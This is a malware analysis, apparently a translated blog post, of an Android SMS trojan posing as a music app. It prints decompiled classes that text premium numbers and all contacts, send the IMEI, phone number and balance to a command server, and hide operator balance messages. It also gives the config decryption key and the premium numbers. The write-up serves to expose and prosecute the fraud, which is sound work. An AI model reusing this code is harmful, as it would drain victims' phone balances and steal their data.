History of reverse engineering a single SMS Trojan for Android
It all started with the complaints of one of my good friend, concurrently the owner of the device on Android. He complained that the operator constantly withdraws money from him, for no one knows why. After calling the operator, it turned out that the funds were withdrawn for premium SMS, which my friend allegedly sent. I myself have repeatedly run into the Internet on suspicious sites that offer to download apk with a game / program / Live Wallpaper, when installed it turns out that this is just a program that sends SMS to premium numbers. But in this case, if you clicked the button, then “he’s a fool”, because the rules in such programs clearly say that SMS will be sent to paid numbers, and they provide links to real programs as a result.
One way or another, a suspicion crept in to me that the situation here is also tied to this kind of activity, and I set about figuring out where the money is still flowing.
Secure installation of the application
To begin with, my friend forgot where he downloaded the latest programs from the network to his device, only the following mobisity.ru link was shook out of it ( Caution, the site distributes malware! ). Rummaging around on the site, I pulled out the APK from there .
Now that the reader knows the background, you can move on to the most interesting part - application analysis. Let's start with the safe installation of the application, namely, install it on the emulator and see how it works.
We launch the standard Android emulator, preferably version 2.2 or higher (the application is not installed on older versions), for this we launch the emulator via AVD (Android Virtual Device Manager) and run the command
adb install mp3.apk
In the list of applications, we see our trojan, under the name Music and with the corresponding icon.
We start and observe the process of some “installation”, after which we are invited to click the “next” button.
If you press the hardkey Menu button, you can open the rules and read that after clicking the button, SMS will be sent to paid numbers. Well, okay, so far it’s from the category of "fool himself." So where do the funds constantly flow? It is not clear yet, we will investigate further.
Code analysis
For analysis, I used the following tools: jd-gui , dex2jar and apktool .
First of all, we will analyze the APK using apktool and look at the structure of the project. To do this, run the command
apktool d mp3.apk
Analysis of the internal structure of the project does not give anything interesting, except that the assets data.xml file is in an incomprehensible folder , apparently it stores some data, but it is encrypted, since, at first glance, the data can not be easily analyzed. Well, all that remains is to watch the code, for this we use dex2jar . Using our favorite archiver , we extract the file from the APK with the name classes.dex and use dex2jar to convert it to a jar file. The resulting jar must be opened in the jd-gui program . That's it, now we have all (or almost all) of the application code:
Before I rushed headlong to analyze the code, I decided to look at the AndroidManifest.xml fileAs a rule, you can get a lot of useful information about the application from it.
Full listing of the AndroidManifest.xml file
After looking at the file, I became interested in BroadcastReceiver with the name StartupReceiver - it is obvious that it runs some code when the system boots, the declared intent-filters indicate this.
StartupReceiver Code
package net.droid.installer;
import a;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
public class StartupReceiver extends BroadcastReceiver
{
private static ServiceConnection d = null;
boolean a = false;
Context b;
private a c = null;
public void onReceive(Context paramContext, Intent paramIntent)
{
this.b = paramContext;
Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName();
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit();
try
{
if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("����")))
d = new j(this);
}
catch (Exception localException1)
{
try
{
paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1);
label120: localObject = this.c;
if (localObject != null);
try
{
this.c.a(":ON;)");
while (true)
{
label141: paramContext.startService(new Intent(paramContext, UpdateService.class));
return;
localException1;
}
}
catch (RemoteException localRemoteException)
{
break label141;
}
}
catch (Exception localException2)
{
break label120;
}
}
}
}
In all likelihood, if necessary, binding is performed here with a system service that ensures the operation of USSD requests. It would be logical to assume that the Trojan thus monitors the user's balance.
In addition, the code shows that the UpdateService service is starting .
UpdateService Code
package net.droid.installer;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.preference.PreferenceManager;
public class UpdateService extends Service
{
static Context a;
static String b = "http://mxclick.com/";
static int c = 60;
static SharedPreferences d;
static String e = b;
static boolean f = false;
public static void a()
{
SharedPreferences.Editor localEditor = d.edit();
localEditor.putBoolean("appblocked", true);
localEditor.commit();
}
public static void a(String paramString)
{
SharedPreferences.Editor localEditor = d.edit();
localEditor.putString(a.getString(2130968584), paramString);
localEditor.commit();
}
public IBinder onBind(Intent paramIntent)
{
return null;
}
public void onCreate()
{
}
public void onDestroy()
{
super.onDestroy();
}
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
a = this;
Object localObject = PreferenceManager.getDefaultSharedPreferences(this);
d = (SharedPreferences)localObject;
e = ((SharedPreferences)localObject).getString(getString(2130968584), b);
localObject = (AlarmManager)getSystemService("alarm");
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0);
((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent);
}
public boolean onUnbind(Intent paramIntent)
{
return super.onUnbind(paramIntent);
}
}
It is obvious that this service, at startup, sets the Intent to start using the AlarmManager, which is a signal to launch BroadcastReceiver called UpdateReceiver , or, more precisely, its method - onReceive.
UpdateReceiver Code
package net.droid.installer;
import a;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import java.util.ArrayList;
public class UpdateReceiver extends BroadcastReceiver
{
static boolean i = false;
private static ServiceConnection l = null;
Context a;
SharedPreferences b;
boolean c = false;
String d = "";
String e = "";
String f = "";
String g = "";
String h = "";
ArrayList j = new ArrayList();
private final a k = null;
private String a()
{
return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString();
}
private void a(String paramString1, String paramString2)
{
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0);
SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
}
public void onReceive(Context paramContext, Intent paramIntent)
{
this.a = paramContext;
this.b = PreferenceManager.getDefaultSharedPreferences(this.a);
PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE");
localWakeLock.acquire();
Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName();
try
{
if (a().equals("25001"))
a("111", "11");
while (true)
{
if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false))
{
localObject = PreferenceManager.getDefaultSharedPreferences(this.a);
SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
if (((SharedPreferences)localObject).getBoolean("new", true))
{
localEditor.putBoolean("new", false);
localEditor.putLong("time", 1200000L + System.currentTimeMillis());
localEditor.commit();
}
if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L))
new m(this).execute(new String[0]);
}
label191: localWakeLock.release();
return;
if (a().equals("25002"))
{
a("000100", "b");
continue;
}
if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
{
localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#")));
((Intent)localObject).addFlags(268435456);
paramContext.startActivity((Intent)localObject);
continue;
}
if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("����"))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
continue;
localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#")));
((Intent)localObject).addFlags(268435456);
paramContext.startActivity((Intent)localObject);
}
}
catch (Exception localException)
{
break label191;
}
}
}
Here we see that the trojan checks the current balance of the user before sending SMS. And besides that, it runs AsyncTask with the name m , which sends a request to the mxclick.com/getTask.php script . The script apparently gives the desired number to which the sending of certain SMS will be carried out. Well, as a result, UpdateReceiver sends SMS, thereby draining the balance of the poor user.
AsyncTask descendant code - class m
package net.droid.installer;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.TelephonyManager;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONObject;
final class m extends AsyncTask
{
m(UpdateReceiver paramUpdateReceiver)
{
}
private String a()
{
String str1;
try
{
Object localObject7 = (TelephonyManager)this.a.a.getSystemService("phone");
Object localObject2 = ((TelephonyManager)localObject7).getDeviceId();
Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso();
Object localObject1 = new DefaultHttpClient();
Object localObject5 = ((TelephonyManager)localObject7).getLine1Number();
Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName();
String str3 = ((TelephonyManager)localObject7).getNetworkOperator();
String str2 = Integer.toString(Build.VERSION.SDK_INT);
localObject7 = Build.MODEL;
localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.a.a).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2);
localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL();
((URL)localObject2).toString();
localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent();
localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8);
localObject2 = new StringBuilder();
while (true)
{
localObject3 = ((BufferedReader)localObject4).readLine();
if (localObject3 == null)
break;
((StringBuilder)localObject2).append((String)localObject3);
}
((StringBuilder)localObject2).toString();
((InputStream)localObject1).close();
((BufferedReader)localObject4).close();
while (true)
{
try
{
localObject2 = new JSONArray(((StringBuilder)localObject2).toString());
int i = 0;
if (i >= ((JSONArray)localObject2).length())
break;
localObject3 = ((JSONArray)localObject2).getJSONObject(i);
localObject4 = ((JSONObject)localObject3).getString("type");
if (!((String)localObject4).equals("1"))
continue;
UpdateService.f = true;
UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message"));
localObject5 = new n(this.a);
localObject7 = new String[1];
localObject7[0] = "1";
((n)localObject5).execute(localObject7);
if (!((String)localObject4).equals("2"))
break label742;
localObject5 = this.a.a.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
if (!((Cursor)localObject5).moveToNext())
break label650;
localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id"));
if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1"))
{
str2 = "true";
if (!Boolean.parseBoolean(str2))
continue;
localObject7 = this.a.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null);
if (!((Cursor)localObject7).moveToNext())
break label640;
this.a.j.add(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1")));
continue;
}
}
catch (Exception localException1)
{
str1 = "-100";
}
str2 = "false";
continue;
label640: ((Cursor)localObject7).close();
continue;
label650: ((Cursor)localObject5).close();
for (int j = 0; j < this.a.j.size(); j++)
UpdateReceiver.a(this.a, (String)this.a.j.get(j), ((JSONObject)localObject3).getString("message"));
localObject7 = new n(this.a);
Object localObject6 = new String[1];
localObject6[0] = "2";
((n)localObject7).execute(localObject6);
label742: if (((String)localObject4).equals("3"))
{
localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url")));
((Intent)localObject6).addFlags(268435456);
this.a.a.startActivity((Intent)localObject6);
localObject7 = new n(this.a);
localObject6 = new String[1];
localObject6[0] = "3";
((n)localObject7).execute(localObject6);
}
if (((String)localObject4).equals("4"))
{
UpdateService.a(((JSONObject)localObject3).getString("server_url"));
localObject7 = new n(this.a);
localObject6 = new String[1];
localObject6[0] = "4";
((n)localObject7).execute(localObject6);
}
if (((String)localObject4).equals("5"))
{
localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis());
localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop")));
localObject6 = PendingIntent.getActivity(this.a.a, 0, (Intent)localObject6, 0);
localObject7 = (NotificationManager)this.a.a.getSystemService("notification");
((Notification)localObject4).setLatestEventInfo(this.a.a, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6);
((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults);
((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags);
((NotificationManager)localObject7).notify(0, (Notification)localObject4);
}
str1++;
}
}
catch (Exception localException2)
{
str1 = null;
}
return (String)(String)(String)(String)(String)(String)(String)str1;
}
}
Well, actually, that’s all - you can’t disassemble the code further, we saw that emptying the user's balance is achieved by sending SMS to premium numbers. However, I came across a couple of interesting points when I was looking at the code of the trojan. For example, incoming SMS from 111, which is the MTS service number, is blocked - thus, the user does not hear anything and does not see when his balance gradually goes to minus.
The MessageReceiver class does this , here is its definition in AndroidManifest.xml
It can be seen that he is set to high priority, so he manages to be the first to process incoming messages on the device. Well, inside the onReceive method , we see that if SMS comes from number 111, then intent is intercepted, that is, the broadcast message breaks off on this handler and does not go further to other applications.
MessageReceiver Code
package net.droid.installer;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MessageReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
Object localObject = paramIntent.getExtras();
if (localObject != null)
{
localObject = (Object[])((Bundle)localObject).get("pdus");
SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length];
int i = 0;
try
{
while (i < arrayOfSmsMessage.length)
{
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]);
if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100")))
{
Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody());
if (localMatcher.find())
{
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit();
if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("�����"))
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit();
abortBroadcast();
}
}
if (UpdateService.f)
{
abortBroadcast();
UpdateService.f = false;
}
i++;
}
}
catch (Exception localException)
{
}
}
}
}
Another interesting point that actually allows the community to make scammers responsible for their actions is the encrypted database, which I mentioned at the beginning of the post. While viewing the code, it was found out that the file with the numbers was encrypted by Blowfish algorithm in ECB mode. This is a symmetric encryption algorithm, with a good key to crack it, it could take years, but ... The developers of the trojan did not take much steam:
public final String b(String paramString)
{
try
{
Object localObject2 = this.a.getAssets().open(paramString);
Object localObject1 = new byte[((InputStream)localObject2).available()];
((InputStream)localObject2).read(localObject1);
((InputStream)localObject2).close();
localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), a.a);
Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", a.a).replace("c", a.b).replace("g", a.c));
localCipher.init(2, (Key)localObject2);
localObject1 = new String(localCipher.doFinal(localObject1));
return localObject1;
}
catch (Exception str)
{
while (true)
{
localException.printStackTrace();
String str = "err";
}
}
}
}
With the well-known key, I only had to sketch a couple of lines in Java, and the file was decrypted:
Short numbers, billing prefixes and other trojan settings
8503,7202,7201,7201,7201 1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030 25001 0 0 http://mp3-999.com/content Online http://oxclick.com icon 7204 1429015599 041 122 6030 25002 0 0 http://mp3-999.com/content Online http://oxclick.com icon 8503,7202,7201,7201,7201 1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030 25099 0 0 http://mp3-999.com/content Online http://oxclick.com icon 7202,7201,7201 1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030 250 0 0 http://mp3-999.com/content Online http://oxclick.com icon 7204,7204,7212 99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030 25503 0 0 http://mp3-999.com/content Online http://oxclick.com icon 3303,3303,3303 427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030 400 0 0 http://mp3-999.com/content Online http://oxclick.com icon 7204,7204,7212 99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030 25501 0 0 http://mp3-999.com/content Online http://oxclick.com icon 7204,7204,7212 99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030 25505 0 0 http://mp3-999.com/content Online http://oxclick.com icon 3336 427242015599 041 122 6030 257 0 0 http://mp3-999.com/content Online http://oxclick.com icon
Another point - all USSD requests are in the background , that is, the trojan can check the balance of the user as much as necessary, he will not suspect anything. Apparently, the implementation of the background execution of USSD requests was copied by the Trojan developers from the commandus site . As a homework, readers are invited to understand why the implementation was copied from this site and find confirmation of this in the code.
Conclusion
I would like to say that the development of such applications is a direct violation of the law of the Russian Federation, namely, Articles 159 and 273 of the Criminal Code of the Russian Federation. Now the scammers will not be able to get away with it, as the funds are not withdrawn from the balance after pressing the abstract button, where the user assumes all responsibility for the consequences. Here the balance can be devastated for years and the user may not suspect anything at all.
Fraudsters, and by definition are also content providers of numbers (because they provide direct assistance in obtaining profit illegally or fraudulently) 8503, 7202, 7201, 7204, 7212, 3303, 3336 should be criminally punished. By the way, specific providers for these numbers can be viewed, for example, on the website of Megaphone or Beeline. In order not to be unfounded, I quote the specific names of the implicated content providers who own these numbers: IncorMedia LLC , SMS services, LLC (Joke of the Day) , Invest Telecom LLC and so on.
In addition, most likely some data on specific culprits can be extracted from the URL to which requests from the trojan go, namely: mxclick.com/getTask.php . In general, interested readers can try to find other traces of scammers themselves if possible.
Personally, I hope that the esteemed operators Megafon, Beeline, MTS, Tele2 and others will take serious measures regarding content providers, because they have not followed up on the use of their numbers, and someone will finally get to the bottom of the real culprits who develop and distribute these trojans and make them respond to the fullest extent of the law.